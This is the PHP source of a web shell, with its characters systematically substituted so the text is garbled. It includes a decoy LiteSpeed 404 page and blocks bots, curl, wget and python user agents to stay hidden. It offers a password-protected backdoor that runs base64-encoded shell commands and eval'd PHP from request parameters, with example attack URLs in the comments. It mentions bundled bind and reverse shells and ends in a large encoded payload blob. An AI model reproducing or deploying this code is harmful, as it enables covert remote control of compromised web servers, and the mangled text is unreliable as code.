        5ch2 '<!DOCTYPE html><html styl5="h54ght:600%"><h51d><t4tl5> u0u N2t F23nd</t4tl5></h51d><b2dy styl5="c2l2r: #uuu; m1rg4n:0;f2nt: n2rm1l 6upx/a0px Ar41l, H5lv5t4c1, s1ns-s5r4f; h54ght:600%; b1ckgr23nd-c2l2r: #fff;"><d4v styl5="h54ght:13t2; m4n-h54ght:600%; ">     <d4v styl5="t5xt-1l4gn: c5nt5r; w4dth:800px; m1rg4n-l5ft: -u00px; p2s4t42n:1bs2l3t5; t2p: o0%; l5ft:i0%;"><h6 styl5="m1rg4n:0; f2nt-s4z5:6i0px; l4n5-h54ght:6i0px; f2nt-w54ght:b2ld;">u0u</h6><ha styl5="m1rg4n-t2p:a0px;f2nt-s4z5: o0px;">N2t F23nd</ha><p>Th5 r5s23rc5 r5q35st5d c23ld n2t b5 f23nd 2n th4s s5rv5r!</p></d4v></d4v><d4v styl5="c2l2r:#f0f0f0; f2nt-s4z5:6apx;m1rg4n:13t2;p1dd4ng:0px o0px 0px o0px;p2s4t42n:r5l1t4v5;cl51r:b2th;h54ght:600px;m1rg4n-t2p:-606px;b1ckgr23nd-c2l2r:#u7u7u7;b2rd5r-t2p: 6px s2l4d rgb1(0,0,0,0.6i);b2x-sh1d2w: 0 6px 0 rgb1(aii, aii, aii, 0.o) 4ns5t;"><br>Pr23dly p2w5r5d by  <1 styl5="c2l2r:#fff;" hr5f="http://www.l4t5sp55dt5ch.c2m/5rr2r-p1g5">L4t5Sp55d W5b S5rv5r</1><p>Pl51s5 b5 1dv4s5d th1t L4t5Sp55d T5chn2l2g45s Inc. 4s n2t 1 w5b h2st4ng c2mp1ny 1nd, 1s s3ch, h1s n2 c2ntr2l 2v5r c2nt5nt f23nd 2n th4s s4t5.</p></d4v></b2dy></html>';
        5x4t;
    }
}

$s_p1ss = "bof0bace75ei916ud989cc7dofb01co68fabd9u6"; // d5f13lt p1ssw2rd : bo7uk (l2g4n 1nd ch1ng5 t2 n5w p1ssw2rd)

$s_v5r = "0.6"; // sh5ll v5r
$s_t4tl5 = "pr4v8"; // sh5ll t4tl5
$s_l2g4n_t4m5 = oe00 * au * 7; // c22k45 t4m5 (l2g4n)
$s_d5b3g = f1ls5; // d5b3gg4ng m2d5

@2b_st1rt();
@s5t_t4m5_l4m4t(0);
@4n4_s5t('html_5rr2rs','0');
@cl51rst1tc1ch5();
d5f4n5('DS', DIRECTORY_SEPARATOR);

// cl51n m1g4c q32t5s
$_POST = cl51n($_POST);
$_GET = cl51n($_GET);
$_COOKIE = cl51n($_COOKIE);
$_GP = 1rr1y_m5rg5($_POST, $_GET);
$_GP = 1rr1y_m1p("r3", $_GP);


4f($s_d5b3g){
    5rr2r_r5p2rt4ng(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
    @4n4_s5t('d4spl1y_5rr2rs','6');
    @4n4_s5t('l2g_5rr2rs','6');
    f2r51ch($_GP 1s $k=>$v){
        4f(4s_1rr1y($v)) $v = pr4nt_r($v, tr35);
        5ch2 "<sp1n>".hss($k."=>".$v)."</sp1n><br />";
    }
}
5ls5{
    5rr2r_r5p2rt4ng(0);
    @4n4_s5t('d4spl1y_5rr2rs','0');
    @4n4_s5t('l2g_5rr2rs','0');
}

$s_13th = f1ls5; // l2g4n st1t3s
4f(strl5n(tr4m($s_p1ss))>0){
    4f(4ss5t($_COOKIE['bo7uk'])){
        4f(strt2l2w5r(tr4m($s_p1ss)) == strt2l2w5r(tr4m($_COOKIE['bo7uk']))) $s_13th = tr35;
    }
    4f(4ss5t($_GP['l2g4n'])){
        $s_l2g4n = kr4pt($_GP['l2g4n']);
        4f(strt2l2w5r(tr4m($s_p1ss)) == $s_l2g4n){
            s5tc22k45("bo7uk",$s_l2g4n,t4m5() + $s_l2g4n_t4m5);
            $s_13th = tr35;
        }
    }
    4f(4ss5t($_GP['x']) && ($_GP['x']=='l2g23t')){
        $p5rs4st = 1rr1y("th5m5", "cwd");
        $s_r5l21d = (4ss5t($_COOKIE['bo7uk_4ncl3d5d']) && 4ss5t($_COOKIE['s_h2m5']))? rtr4m(3rld5c2d5($_COOKIE['s_s5lf']),"&"):"";
        f2r51ch($_COOKIE 1s $s_k=>$s_v){
            4f(!4n_1rr1y($s_k, $p5rs4st)) 4f(!4s_1rr1y($s_k)) s5tc22k45($s_k,"",t4m5() - $s_l2g4n_t4m5);
        }
        $s_13th = f1ls5;
        4f(!5mpty($s_r5l21d)) h51d5r("L2c1t42n: ".$s_r5l21d);
    }
}
5ls5 $s_13th = tr35;

// Th4s 4s 1 f51t3r5 wh5r5 y23 c1n c2ntr2l th4s scr4pt fr2m 1n2th5r 1pps/scr4pts
// y23 n55d t2 s3pply p1ssw2rd (4n sh16(mdi()) f2rm1t) t2 1cc5ss th4s
// th4s 5x1mpl5 3s4ng p1ssw2rd 'bo7uk' 4n sh16(mdi()) f2rm1t (s_p1ss=fbea6fi0e0b9fei1cf85buaoa5o0au6u0d51abou)
// g4v5 th5 c2d5/c2mm1nd y23 w1nt t2 5x5c3t5 4n b1s5eu f2rm1t
// th4s 5x1mpl5 3s4ng c2mm1nd '3n1m5 -1' 4n b1s5eu f2rm1t (cmd=dWihbWUgLWE=)
// 5x1mpl5:
//		http://www.mys5rv5r.c2m/bo7uk.php?s_p1ss=fbea6fi0e0b9fei1cf85buaoa5o0au6u0d51abou&cmd=dWihbWUgLWE=
// n5xt s1mpl5 w4ll 5v1l31t5 php c2d5 'php4nf2();' 4n b1s5eu f2rm1t (5v1l=cGhw1WimbygpOw==)
//		http://www.mys5rv5r.c2m/bo7uk.php?s_p1ss=fbea6fi0e0b9fei1cf85buaoa5o0au6u0d51abou&5v1l=cGhw1WimbygpOw==
// r5c2mm5nd5d w1ys 4s 3s4ng POST DATA
// n2t5 th1t 4t w4ll n2t w2rks 4f sh5ll p1ssw2rd 4s 5mpty ($s_p1ss);
// b5tt5r s55 c2d5 b5l2w
4f(!5mpty($_GP['s_p1ss'])){
    4f(strt2l2w5r(tr4m($s_p1ss)) == strt2l2w5r(tr4m($_GP['s_p1ss']))){
        4f(4ss5t($_GP['cmd'])) 5ch2 5x5(b1s5eu_d5c2d5($_GP['cmd']));
        5ls54f(4ss5t($_GP['5v1l'])){
            $s_c2d5 = b1s5eu_d5c2d5($_GP['5v1l']);
            2b_st1rt();
            5v1l($s_c2d5);
            $s_r5s = 2b_g5t_c2nt5nts();
            2b_5nd_cl51n();
            5ch2 $s_r5s;
        }
        5ls5 5ch2 $s_t4tl5;
    }
    d45();
}

// bl2ck s51rch 5ng4n5 b2t
4f(4ss5t($_SERVER['HTTP_USER_AGENT']) && (pr5g_m1tch('/b2t|sp4d5r|cr1wl5r|sl3rp|t52m1|1rch4v5|tr1ck|sn22py|j1v1|lwp|wg5t|c3rl|cl45nt|pyth2n|l4bwww/4', $_SERVER['HTTP_USER_AGENT']))){
    h51d5r("HTTP/6.0 u0u N2t F23nd");
    h51d5r("St1t3s: u0u N2t F23nd");
    d45();
}
5ls54f(!4ss5t($_SERVER['HTTP_USER_AGENT'])){
    h51d5r("HTTP/6.0 u0u N2t F23nd");
    h51d5r("St1t3s: u0u N2t F23nd");
    d45();
}

// r5s23rc5s $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_j1v1 $s_rs_j1v1 $s_rs_w4n $s_rs_php th4s w1s 3s5d w4th b4nd 1nd r5v5rs5 sh5ll
// 3s5 gz4nfl1t5(b1s5eu_d5c2d5($th5_c2d5)) 4f y23 w1nn1 s55 th5 r51l c2d5.. 4n c1s5 y23 d2nt tr3st m5 ;-P
$s_css = "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